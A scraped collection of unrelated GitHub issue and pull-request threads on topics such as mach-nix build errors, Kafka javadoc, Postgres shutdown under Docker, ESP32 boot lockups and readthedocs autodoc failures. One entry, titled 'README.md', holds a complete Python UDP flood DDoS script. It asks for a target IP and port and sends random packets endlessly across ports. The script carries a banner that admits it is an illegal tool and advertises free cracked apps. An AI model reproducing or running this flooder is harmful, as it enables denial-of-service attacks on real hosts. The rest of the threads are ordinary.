attribute 'passthru' already defined at /nix/store/vv862ykh4sa3ksjy8g6hwphiacjyhd83-mach_nix_file/share/mach_nix_file.nix:64:7

Please try again with newest master :)
I fixed the passthru already defined bug and another problem with dot in names which prevented this expression from building.

going back to pymc3
let
  mach-nix = import (builtins.fetchGit {
    url = "https://github.com/DavHau/mach-nix/";
    ref ="master" ;
  });
  py_env = mach-nix.mkPython rec {
    python = mach-nix.nixpkgs.python37;
    requirements =  ''
    #pywps
    pymc3
      '';
  };

in
(py_env.override ( args:{ignoreCollisions=true; }) ).env

results in
infinite recursion encountered

Could you check again the current master? I changed something in the expression generator which should improve the infinite recursion situation

I tried on   ref = "refs/heads/master";
it fails again:

while evaluating 'get_passthru' at /nix/store/kfjkbxnn3hs0nx2i8sq3i1jjsiazw3q3-mach_nix_file/share/mach_nix_file.nix:24:26, called from /nix/store/kfjkbxnn3hs0nx2i8sq3i1jjsiazw3q3-mach_nix_file/share/mach_nix_file.nix:193:19:
while evaluating the attribute 'h5py-mpi.passthru' at /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix:851:3:
while evaluating the attribute 'h5py.override' at /nix/store/kfjkbxnn3hs0nx2i8sq3i1jjsiazw3q3-mach_nix_file/share/mach_nix_file.nix:185:5:

error: --- EvalError ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- nix-shell
in file: /nix/store/cmvzygi70pbgasfh95kv6pbbj7z7dp8x-nixpkgs/pkgs/top-level/python-packages.nix (851:14)

infinite recursion encountered

I'm so sorry. I frogot to actually push to master earlier. Now it works:
let
   mach-nix = import (builtins.fetchGit {
     url = "https://github.com/DavHau/mach-nix/";
     ref = "refs/heads/master";
     rev = "1bc3bee2d0eb3acaa4af106d242b8c4bd7ec66a4";
   });
in mach-nix.mkPython rec {
    python = mach-nix.nixpkgs.python37;
    requirements =  ''
      pymc3
      '';
}

works
(and pprint is removed from pipDB as well)


IDVA5-157-sole-trader-confirm-correspondence-address

Added Confirm your correspondence address Screen

CI: No security warnings found

CI: No security warnings found

CI: No security warnings found


KAFKA-12165: Include org.apache.kafka.common.quota in javadoc

The public API classes in org.apache.kafka.common.quota should be included in the javadoc.
(they're not currently, see for example https://kafka.apache.org/27/javadoc/org/apache/kafka/clients/admin/Admin.html#alterClientQuotas-java.util.Collection-)

@chia7712 please could you take a look?
cc @bdbyrne

@chia7712 please could you take a look?
cc @bdbyrne

I will merge it later today.

I will merge it later today.

Failed tests not related. Merging to trunk.

Failed tests not related. Merging to trunk.


typings ERR!

Prerequisites

[ ] Did you check the FAQ?
[ ] Did you search open and closed issues to see if your issue has already been reported?

Description
typings ERR! message http://api.typings.org/entries/dt/node/tags/6.0.0%2B20160807145350 responded with 401, expected it to equal 200
[Description of the bug or feature]
http://api.typings.org/entries/dt/node/tags/6.0.0%2B20160807145350
The response of above http request as below:
{"version":"6.0.0","location":"github:DefinitelyTyped/DefinitelyTyped/node/node.d.ts#f1fe2148037bbd924235f49065ae5286b33a4ae4","description":null,"tag":"6.0.0+20160807145350","compiler":null,"updated":"2016-08-07T14:53:50.000Z","deprecated":"2016-11-10T15:10:07.000Z"}
Steps to Reproduce

[First Step]
[Second Step]
[and so on...]

Expected behavior: [What did you expect to happen?]
Actual behavior: [What actually happened?]
Versions
[From typings -v]

Seems like dup of #714


docker stop results in SIGTERM being sent

Hi,
is there something wrong about using docker stop to shutdown the postgres container?
After examining the logs I notice the following:
2016-08-10T17:37:48.649652549Z LOG:  received smart shutdown request
2016-08-10T17:37:48.649779343Z LOG:  autovacuum launcher shutting down
2016-08-10T17:39:23.315340438Z LOG:  database system was interrupted; last known up at 2016-08-10 17:34:54 UTC
2016-08-10T17:39:23.619640237Z LOG:  database system was not properly shut down; automatic recovery in progress
2016-08-10T17:39:23.629918073Z LOG:  redo starts at 0/70D0028
2016-08-10T17:39:23.629963085Z LOG:  invalid record length at 0/70D0108
2016-08-10T17:39:23.629969782Z LOG:  redo done at 0/70D00D0
2016-08-10T17:39:23.636000325Z LOG:  MultiXact member wraparound protections are now enabled
2016-08-10T17:39:23.639092551Z LOG:  database system is ready to accept connections
2016-08-10T17:39:23.640314686Z LOG:  autovacuum launcher started

Even if I run docker stop --time=60 postgres, the stop just waits for those 60 seconds, after which it probably sends SIGKILL causing the postres shutdown and subsequent warning during start.
Thanks for any info

I've not seen an issue in stopping a postgres container (though mine don't usually have much data or load) and so mine stop almost instantly after receiving SIGTERM.  If you need more control, you could use docker kill -s TERM postgres, then you don't get the automatic KILL signal.

I experience the same all the time, did you find a better solution @yntelectual?

I had actually experienced data corruption because postgress process was SIGKILLed in the middle of flushing logs.
Now, I always make sure to do docker exec -u postgres $CID pg_ctl stop instead of docker stop $CID
Solving this correctly would require something along EXITPOINT hook described here https://github.com/docker/docker/issues/6982, but sadly that feature seems to be abandoned.

As referenced above, your best bet is to run docker kill -s TERM xyz directly and skip docker stop entirely (thus avoiding SIGKILL):

I've not seen an issue in stopping a postgres container (though mine don't usually have much data or load) and so mine stop almost instantly after receiving SIGTERM.  If you need more control, you could use docker kill -s TERM postgres, then you don't get the automatic KILL signal.

Additionally, you might have luck with specifying --stop-timeout on the container itself to give docker stop a larger default, but I think that'll just be a stop-gap solution if it's taking longer than 60 seconds for your database to shut down.  It sounds like you might have some architectural issues you'll want to look into to figure out why it's taking so long for your database to shut down.
In the future, these sorts of questions/requests would be more appropriately posted to the Docker Community Forums, the Docker Community Slack, or Stack Overflow.

Well, as stated in https://www.postgresql.org/docs/10/static/server-shutdown.html:

Smart Shutdown: ... lets existing sessions end their work normally. It shuts down only after all of the sessions terminate.

So if the connection is idle in another process, 60 seconds may never be enough.
Since we don't have a fine-grained shutdown control order in docker I'm using the stop_signal to change the behavior and get a clean shutdown with docker-compose.
postgres:
  image: postgres:10.4-alpine
  container_name: postgres
  stop_signal: SIGINT                 # Fast Shutdown mode

I think you can change the Dockerfile and specify the STOPSIGNAL.
It should fix too...

Given that SIGTERM is more graceful (and less likely to break folks'
databases), I'm wary of explicitly changing that.

Sure, this is the safest choice. I'm not saying to change the default signal.
What I really want to say is:
As everyone should know their own application and their workload, that may be the tip someone needs to tweak their needs.


if there is another project open, new project does not appead in explorer

URL
https://dotnet.microsoft.com/en-us/learn/dotnet/hello-world-tutorial/create
Operating system
macos
More information about your system
if there is another project open, new project does not appead in explorer
Description
if there is another project open, new project does not appead in explorer
dotnet --info
No response

Sorry it took us a while to get back to you. Is this still happening? can you show us what that looks like in your VS Code with a screenshot?


Through options undefined on Edge

I have an existing database that I'm trying to create the schema for and it has a "User" and "Friendship" table, Found this example in the official docs  friendships example and it has a through option that doesn't exist and the go compiler is giving me this error:
edge.To("friendships", User.Type).Through undefined (type *edge.assocBuilder has no field or method Through)compiler[MissingFieldOrMethod](https://pkg.go.dev/golang.org/x/tools/internal/typesinternal?utm_source%3Dgopls#MissingFieldOrMethod)

Am I missing something ?

Hey @Faroukhamadi 👋
Updating to the latest master version should solve your issue. Please, run go get entgo.io/ent/cmd/ent@master and then execute go generate again. We'll release a tagged version soon.
Closing, but please feel free to reopen or join our Discord server if you still need help with this 😎


[terraform-render-bootstrap] store results directly in output variable, not in local file

Feature Request
Feature
I would like terraform-render-bootstrap to store results in output variables rather than in local file.
This would allow users of the module to store generated files in remote location, or use in file provisioner (with content attribute).
This would be better for those reasons:

Predictable plan output on multiple development machines, or on CI environment. Relying on local files makes some noises in plan result, because files get generated on each machines. This is described in terraform docs.
https://www.terraform.io/docs/providers/local/r/file.html
Storing certs to remote object store is better for security. Even if development machine is compromised, certs are not accessible all the time if temporary credentials are used.
Storing certs/manifests to remote object store like S3 would allow controller nodes to initialize without SSH. This would also help in making controller nodes stateless.

Tradeoffs
Users of the module should write local_file resource (or object on storage like s3) by themselves.
No tradeoffs if you just need to create files locally.
If you want to generate files on s3 instead, you can pass null to asset_dir and create aws_s3_bucket_object by yourself, using outputs from the module.

Lemme unpack the several topics you mention.
Typhoon cluster modules accept an asset_dir variable absoluate path where generated assets (TLS certificates, manifests, kubeconfig) should be written (e.g. typically to a local vault). Generated local assets are intended for user inspection or record-keeping. asset_dir is a required argument for reasons I'll describe separately, but it may someday be possible to make it optional. See #585
Given that,

For terraform apply, that machine will require require access to provisioning credentials (i.e. Matchbox creds, cloud creds) and state. Use your machine (solo) or a central CI system with a durable asset_dir between applies. Prefer any local vault solution that works with a directory.
Don't get hung up on adding assets in an object store, what you really want is for asset_dir to be optional (duplicate assets nowhere). The aspiration is to remove a storage location, not to introduce one.
Secure distribution via ssh is by design. Secure copy works uniformly across bare-metal and cloud platforms. Typhoon nodes are not endowed with credentials to access remote stores, do not run components to fetch assets, and do not rely on hosted services for bootstrap. Bootstrapping from a remote store is not a goal and would not be enabled merely by duplicating your assets to an object store.
Controller nodes are not at all close to being stateless. Not a goal.

#585 articulates the aspect of these topics that is a goal. Going to close in favor of that.


Change "exact match boost" implementation to use a match_phrase query in should

Problem

We currently use an additional simple query string entry into the boolean filter for search to boost exact phrasal matches on the title of a work:
https://github.com/WordPress/openverse/blob/50e401f17b9290cd373bdced98babd457700b990/api/api/controllers/search_controller.py#L305-L312
Description

We can bypass simple query string altogether for this, saving some parsing cycles in Elasticsearch, and making our intention much clearer in code (and in the generated query), by using match_phrase directly. This also obviates the need to mock out the simple-query-string syntax for phrasal matches.

Hi @sarayourfriend,
Hope You are doing well, is this the solution you are looking for
exact_match_boost = Q(
    "match_phrase",
    title={
        "query": query,
        "boost": 10000
    }
)

if yes can you assignee me this issue.

That looks right, yep! I've assigned the issue to you, thanks!


Stamen Map Tiles are broken

Stamen Map Tiles aren't working anymore - you can see it in the sandcaste:

On the side of Stamen you can see the hint:

As of July 31, 2023, Stamen Map Tiles are served by Stadia Maps. Click here to learn more.

Thanks for the report @SunBlack! We'll evaluate whether or not we can include a default key based on the terms of use. Regardless, we'll make the necessary adjustments for the next release.


Prepare for augury auth

Loosen some of the version requirements as rails 5 (augury.prx.org) uses versions above the upper bound.
Per: PRX/augury.prx.org#56

Coverage remained the same at 100.0% when pulling a747d9a22695df1c5abe1ddf4f8ab67a0a40ab6d on feat/prepare-for-augury into 14bfab54e29f9e2804c968a8b446cf4e2f5533fd on master.


re-do the 'about' portion of spee.ch

As a new user who happens upon the spee.ch website, I want the 'about' section to succinctly explain spee.ch to me, so that I can easily understand the benefits of spee.ch in a short amount of time and know why I should use it.
I would also like a 'support' link to easily communicate with the team if I have questions, problems, or suggestions (could be a link to email/twitter or could be an actual embedded contact form).

taken care of in redesign


Update heap defaults to include size unit

This PR enables the use of
units in heap config.
neo4j-wrapper.conf is deprecated so no reason to use it.

@benbc changed that and simplified the setting function

Looks great. Thanks.


[zh-cn] Translate docs/reference/instrumentation/cri-pod-container-metrics.md

This is a Feature Request
What would you like to be added
Translate docs/reference/instrumentation/cri-pod-container-metrics.md
Comments
Link: https://kubernetes.io/docs/reference/instrumentation/cri-pod-container-metrics/
/language zh
/kind feature
/assign

/triage accepted

/close


Minor change for better readability.

This may just be my OCD but I wasn't to big of a fan of the { on the same line as the else. Very minor I know.

That's the convention used in all the other C/C++ code.


WIP feat(task-library): new cluster management pattern replaces v3 ones

NEW CLUSTER MANAGEMENT PATTERN!
Basically, uses a cluster manager workflow to coordinate & gate workflows on machines in the cluster.
See cluster-gate task for docs.

Replaced with #680


Combine multiple Post Opportunity Forms into One form

[x] I checked to make sure that this issue has not already been filed.

[x] I'm reporting the issue to the correct repository (for multi-repository projects)

Current Behavior:
Currently, there are separate forms for each opportunity.
Solution:
Since all the forms are accepting same data, we can combine 6 forms into one.
There are a few differences:

Hackathons, Coding Competitions and Tech Conferences will have two date fields - Date of event, Deadline to apply
whereas, Jobs, Internships, Scholarships will have only one field for date - Deadline to apply
Company Name will be only in Jobs, Internships

Hey, I am interested in the issue. I have a solution to drop or add the fields as we select the opportunity type.

@AyushPradhan9 Great! You can go ahead with this.


rgp: 1.10 -> 1.11

Motivation for this change
1.11 was published: https://github.com/GPUOpen-Tools/radeon_gpu_profiler/releases/tag/v1.11
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Relase notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 131075 run on x86_64-linux 1

1 package built:

rgp


feat(resolvers): resolvers in sqs queue for KMSMasterKeyIDRef/Selector

Signed-off-by: haarchri<EMAIL_ADDRESS>
Description of your changes
added KMSMasterKeyIDRef/Selectctor in sqs-queue

Fixes https://github.com/crossplane/provider-aws/issues/1162
I have:

[x] Read and followed Crossplane's contribution process.
[x] Run make reviewable test to ensure this PR is ready for review.

How has this code been tested
created, resolved and deleted

Thanks @haarchri !


Feature Request: base 64 encoding in epub

As you know comicbook files are very large compared to normal ebook files. Naturally they consume a lot of space which is not feasible in devices such as Android tablets. One possible solution to that is cloud but most of them require some sort of subscription if you have a large library and you can't read directly from them. Since amazon has increased their upload size it really became a relatively good option. But if you upload an epub converted from cbz it will compress the files and reduce size as well as quality drastically. From 200 mb to 7 or 8 mb. The only work around that is to encode the jpeg images into base 64 and then adding them to the epub. I was wondering if you can do something about it. Maybe a toggle in the jpeg menu. Thank You

Encoding the images in base64 to directly insert them in the html code would make the files quite larger and would require some changes to the epub creation code, and will make them unreadable by ACBR (I currently assume images are embedded in the epub as files and extract them to display them as with any of the other formats).
It will require some changes and a bit of work for something I'm not sure many would use... I'll add it to my TODO list to at least think a little more about maybe adding a conversion option if it doesn't take too much time to implement, but no promises on when/if I'll work on it.

Thank You.

I've uploaded a new beta version (2.4.5-beta1) that adds a new section to the Advanced options of the comic book conversion tool to allow creating epubs with the images embedded as base64 in the html.
This took me longer that I thought, as I had ditch the library I was using and code my own epub generator to be able to add support for this and other new options.
It needs more testing but seems to work fine so far (the few comics I've converted the traditional way, with the images stored as files, open correctly and although not every epub reader, including acbr at least for now, can open epubs with base64 images, some do and things look ok on them).
Hope this helps for your intended use, let me know if that's the case or you find any problems.

Thank You. Thank you so so much. I really appreciate your kind help and hard work. :-)

Works like a charm so far. Thank You once again.

No problem!
If you find any problem with the new epub generation or anything that needs fixing/could be improved let me know, as I haven't had much time to test it.


The distance metric is of ring geometry instead of XOR

The overlay network's routing table use a custom distance function that is of "ring geometry" instead of XOR.  discv5's lookup mechanism should not work unless the routing table itself is Kademlia-like, i.e. each k-th bucket has appropriate coverage of a range in the node space. If the only change to the algorithm is swapping out the distance metric, the Kademlia "lookup" algorithm does not work.
If we are also modifying the FINDNODES algorithm to use one that works with the distance measure that is essentially distance in a ring, should we make it explicit and specify the algorithm as well? For example, are we expecting the routing table to be more like chord or symphony.

To the best of my understanding, the Kademlia lookup function still works, with the one caveat that unlike XOR, the ring-geometry approach allows for there to be two nodes that are "closest" to a specific location where-as XOR guarantees that there will always be one node that is closest.
Can you explain more on what it is that you see that seems to break the lookup?

I would say that the choice of metric and algorithm should be analyzed together. That pretty much sum up the basic design of any DHT.
We could keep "ring" distance. I am not an expert of DHT. But the two variety that works with ring distance is Chord and Symphony.
How important is it to have the property of having "adjacent trie node" to be close to each other in the content_id space? I can see some advantages. For example, if an account data is broken up into many leaf data and that anyone accessing that account would be likely want to get access to all of those adjacent node. I would like to hear from you to get a sense on how important is this?


Local development setup with vagrant

This may not be something that you want, or that you want to keep within the main repo, but as I have set it up locally, I thought I would contribute it in case it is useful.
This allows you to set up a local development environment which is hopefully as close as possible to the production environment, using Vagrant and VirtualBox, and provisioning the box using ansible.  It may be particularly useful for anyone working on OSX.
The base box is Debian Jessie because the README specified install dependencies for Jessie.  That requires a bit of a workaround for postgres because Jessie doesn't come with 9.5.

thanks @rebkwok! Have finally merged this (by hand, hence closing the PR). Hope you're well!

@sebbacon Glad it  was useful 🙂


#SB-265: When deleting an artifact version directory, remove the version from the respective maven-metadata.xml

Regards!

Thanks for the fix!


readthedocs don't show sphinx-apidoc generated html

this works locally, but is empty online.
DeepForest/docs/_build/html/source/deepforest.html#module-deepforest.tfrecords

readthedocs module html is just empty
https://deepforest.readthedocs.io/en/master/source/deepforest.html#deepforest-tfrecords-module
but nothing looks wrong in the build.
https://readthedocs.org/projects/deepforest/builds/10026514/
and the docs looks fine locally.

@henrykironde any guesses? I'm working from https://github.com/readthedocs/readthedocs.org/issues/3634

Looking at raw logs, I see warnings that didn't end the build.
WARNING: autodoc: failed to import module 'deepforest' from module 'deepforest'; the following exception was raised:
No module named 'tensorflow'
WARNING: autodoc: failed to import module 'predict' from module 'deepforest'; the following exception was raised:
No module named 'numpy'
WARNING: autodoc: failed to import module 'preprocess' from module 'deepforest'; the following exception was raised:
No module named 'pandas'
WARNING: autodoc: failed to import module 'retinanet_train' from module 'deepforest'; the following exception was raised:
No module named 'keras'
WARNING: autodoc: failed to import module 'tfrecords' from module 'deepforest'; the following exception was raised:
No module named 'tensorflow'
WARNING: autodoc: failed to import module 'utilities' from module 'deepforest'; the following exception was raised:
No module named 'yaml'
WARNING: autodoc: failed to import module 'setup'; the module executes module level statement and it might call sys.exit().
WARNING: autodoc: failed to import module 'test_deepforest' from module 'tests'; the following exception was raised:
No module named 'pytest'
WARNING: autodoc: failed to import module 'test_preprocess' from module 'tests'; the following exception was raised:
No module named 'numpy'
WARNING: autodoc: failed to import module 'test_tfrecords' from module 'tests'; the following exception was raised:
No module named 'tensorflow'
WARNING: autodoc: failed to import module 'test_utilities' from module 'tests'; the following exception was raised:
No module named 'yaml'
WARNING: autodoc: failed to import module 'test_deepforest' from module 'tests'; the following exception was raised:
No module named 'pytest'
WARNING: autodoc: failed to import module 'test_preprocess' from module 'tests'; the following exception was raised:
No module named 'numpy'
WARNING: autodoc: failed to import module 'test_tfrecords' from module 'tests'; the following exception was raised:
No module named 'tensorflow'
WARNING: autodoc: failed to import module 'test_utilities' from module 'tests'; the following exception was raised:
No module named 'yaml'

Why does read the docs need access to the source libraries to render the already created html?

turned Requirements file off in readthedocs settings.
A pip requirements file needed to build your documentation. Path from the root of your project. warnings still persist. the html is already rendered, I'm not following the workflow.

https://stackoverflow.com/questions/36678131/readthedocs-not-parsing-docstrings-in-python-modules-sphinx
Usage of Sphinx's autodoc to create documentation from docstring comments requires that Python files be loaded and hence all of the modules that they import will so too be imported.

Needed a readthedocs.yml to point to the environment.yml
everything looks good.
https://deepforest.readthedocs.io/en/latest/source/deepforest.html#module-deepforest.preprocess


Stop restarts of the prover / verifier

https://github.com/MinaProtocol/mina/pull/7246 says this was done


Document creating a new repo via REST

Closes #736
CC @zcalusic

Current coverage is 54.29% (diff: 100%)

Merging #750 into master will not change coverage

@@             master       #750   diff @@
==========================================
  Files            95         95
  Lines          7275       7275
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
  Hits           3950       3950
  Misses         2748       2748
  Partials        577        577

Powered by Codecov. Last update b2d00b2...1a53850

Hm, it's not strictly necessary, we could also just test if there is a config file...


README.md

[print ("\033[91m")
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("figlet V-DdoS")
print
print "Coded By : Mr.BL4Z3"
print "Author   : T34m V18rs"
print "Github   : github.com/T34mV18rs"
print "Fb Page  : facebook.com/TeamVirusOfficial"
print "FB Group : facebook.com/groups/mohinhossen"
print "Telegram : t.me/Crackerspace"
print "Join Cracker Space TG Group To Get Premium Apk(s) Free"
print "Note- This Tool An Illegal Tool & It's Only For Educational Purpose.. Use It At Your Own Risk,We'll Be Not Responsible For Kind Of Problems"
print
ip = raw_input("IP Target : ")
port = input("Port       : ")
os.system("clear")
print("\033[93m")
os.system("figlet DdoS Attack")
print("Team : T34m V18rs")
print ("\03392m")
print "[                    ] 0% "
time.sleep(5)
print "[=====               ] 25%"
time.sleep(5)
print "[==========          ] 50%"
time.sleep(5)
print "[===============     ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1


[TW#16107] Boot lock up in start_cpu0_default

The ESP32 occasionally locks up while starting the Pro CPU. Easiest way to reproduce is build an application that calls esp_restart() in the app_main()
Last log messages received are:

I (72) cpu_start: Pro cpu up.
I (73) cpu_start: Starting app cpu, entry point is 0x40080dd0
0x40080dd0: call_start_cpu1 at cpu_start.c:222
I (48) cpu_start: App cpu up.
I (74) heap_init: Initializing. RAM available for dynamic allocation:
I (75) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (76) heap_init: At 3FFB29E8 len 0002D618 (181 KiB): DRAM
I (76) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM
I (77) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (78) heap_init: At 40088454 len 00017BAC (94 KiB): IRAM
I (79) cpu_start: Pro cpu start user code

Placing additional logs in start_cpu0_default()

I (0) cpu_start: App cpu up.
I (74) heap_init: Initializing. RAM available for dynamic allocation:
I (75) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (75) heap_init: At 3FFB29E8 len 0002D618 (181 KiB): DRAM
I (76) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM
I (77) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (78) heap_init: At 4008841C len 00017BE4 (94 KiB): IRAM
I (79) cpu_start: Pro cpu start user code
E (79) clk: esp_clk_init()
E (87) clk: uart_tx_wait_idle()

Looks like a lock up might be occurring in esp_clk_init(). Can't tell exactly as the log function doesn't become available again until after the lock up point.

We're tracking a somewhat similar issue here.
Could you please mention the development board you are using, and CPU frequency selected in sdkconfig?
Also, could you please try changing DELAY_CPU_FREQ_SWITCH_TO_XTAL_WITH_150K define in components/soc/esp32/rtc_clk.c to 40?

Developing on the ESP-WROOM-32 module. CPU frequency in sdkconfig is set to 240 MHz

Changing DELAY_CPU_FREQ_SWITCH_TO_XTAL_WITH_150K to 40 appears to be working well.

Thanks for confirming, this means we have been seeing the same issue. The fix should be in master branch soon.

@igrr question about rtc_clk_init and esp_clk_init: are we potentially reconfiguring clock when we don't need to (bootloader already did it) or is it already optimized?

@negativekelvin
Bootloader enables 80MHz clock, and if the application is also configured for 80MHz clock then indeed we will be switching to XTAL and then back to PLL for no reason. That is a good point, and an optimization easy to implement. For the case when the application uses 160MHz, we can also get away with less amount of configuration. For 240MHz, switching to XTAL and then to a different PLL is required, so no issue there.
At this point we have a single function for all the cases because it is somewhat easier to test than several functions, or different paths within single function depending on the state. Extra time needed for this process (switch to XTAL, disable PLL, then re-enable PLL, switch to PLL) is on the order of 250us. Definitely something that can be improved, but not terribly inefficient.
There is a separate function (rtc_clk_cpu_freq_set_fast) used for dynamic frequency scaling, which doesn't disable PLL when switching to XTAL in order to save time.

Looks like this might have been resolved in commit abacf8d.

Fixed in https://github.com/espressif/esp-idf/commit/6d4ed4ff6c4ca6e3b3bd4af3c7aeabe33570b540.


Improved call-time checks

check that the dtype of fields agrees with field_info
check that fields have a compatible layout
check that fields have a compatible type (ndarray, gt_storage.Storage)
removed erroneous test for max. domain size from c++ template
allow numpy int types in origin and domain parameter in call interface and storage constructor
renamed call_run to _call_run

It looks good to me, except for the bug when passing ndarrays to  origin and/or  domain and the missing f-strings